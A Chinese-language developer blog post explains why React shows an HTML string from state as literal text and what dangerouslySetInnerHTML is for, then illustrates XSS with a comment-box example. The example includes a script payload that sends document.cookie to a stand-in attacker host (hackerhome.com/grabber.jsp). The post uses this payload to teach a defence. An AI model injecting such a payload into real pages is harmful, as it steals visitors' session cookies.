昨天在弄一個讓內容換行顯示時，遇到一個問題，就是我有<br />的代碼在頁面中不換行，而是直接顯示<br />,代碼如下：
<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>dangerouslySetInnerHTML測試</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/react.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/JSXTransformer.js"></script>
</head>
<body>
<div id="example"></div>
<script type="text/jsx">
var Test = React.createClass({
getInitialState: function() {
return {html: '我想讓它換行顯示<br />,我想讓它換行顯示<br />'};
},
render: function() {
return (
<div>{this.state.html}</div>
);
}
});
React.render(<Test />, document.getElementById('example'));
</script>
</body>
</html>
在頁面中顯示的內容是這樣的：
如果你將這段代碼放在正常的html頁面中，它是會換行的，在React中則不會，因為react不會自動幫你解析你的html代碼，就像你將上面的getInitialState
改為：
getInitialState: function() {
return {html: '<a href="#">這是一段html代碼</a><a href="#">2</a><a href="#">3</a>'};
},
解析出來的還是這樣的一段代碼
'<a href="#">這是一段html代碼</a><a href="#">2</a><a href="#">3</a>'
這是為什么呢？找到的解釋是這樣的：
不合時宜的使用 innerHTML 可能會導致 cross-site scripting (XSS) 攻擊。 凈化用戶的輸入來顯示的時候，經常會出現錯誤，不合適的凈化也是導致網頁攻擊 的原因之一。
我們的設計哲學是讓確保安全應該是簡單的，開發者在執行“不安全”的操作的時候應該清楚地知道他們自己的意圖。dangerouslySetInnerHTML 這個 prop 的命名是故意這么設
計的，以此來警告，它的 prop 值（ 一個對象而不是字符串 ）應該被用來表明凈化后的數據。
將上面的代碼改為如下，就可以訪問了：
這么做的意義在於，{__html:...} 背后的目的是表明它會被當成 "type/taint" 類型處理。 這種包裹對象，可以通過方法調用返回凈化后的數據，隨后這種標記過的數據可以。注意__html是兩個_
被傳遞給 dangerouslySetInnerHTML。
這個功能主要被用來與 DOM 字符串操作類庫一起使用，所以提供的 HTML 必須要格式清晰（例如：傳遞 XML 校驗）
這些解釋是來自於官方說法。讀完有點一頭霧水，這是因為我們不了解什么是 cross-site scripting (XSS)攻擊，當你了解這個攻擊的時候，其實理解起來就比較好理解一些
什么是 cross-site scripting (XSS)攻擊：
XSS示例
在深入了解XSS的各個方面之前，讓我們首先了解XSS攻擊到底是怎樣完成的。
就以一個博客應用為例。其常常需要允許讀者對博主的文章進行評論。在輸入評論的編輯欄中，我們可以輸入對該文章的評論，也可以輸入以下HTML標記：
1 <Script>alert(“XSS attack available!”);</Script>
在讀者按下提交鍵之后，該標記將被提交到服務器上，並在其它用戶訪問時作為評論顯示。此時該用戶所看到網頁中包含該標記的部分元素可能為：
1 <div> 2 <Script>alert(“XSS attack available!”);</Script> 3 </div>
而從用戶的角度來看，該網頁中就出現了一個警告：
也就是說，用戶輸入的腳本語言已經被用戶的瀏覽器成功執行。當然，這可能只是一個對該網站的善意提醒。但是對於一個真正具有惡意的攻擊者，其所插入的腳本代碼更可能如下所示：
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2 width=16 height=16 border=0 />');</script>
該段腳本將向當前評論內插入一個圖片，而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的用戶這一角度看來，其僅僅是一個不能顯示的圖片。但是對於惡意攻擊者而言，該JSP頁面將自動記錄傳入的msg參數內容，即訪問評論用戶所使用的cookie。該cookie可能包含用戶的敏感信息，甚至是用戶名，密碼等重要信息。
所以，react的做法是不直接讀取你的html代碼，以此來避免cross-site scripting (XSS)攻擊，讓你的代碼更加安全
更多關於cross-site scripting (XSS)攻擊的介紹，可以參考這篇文章：http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html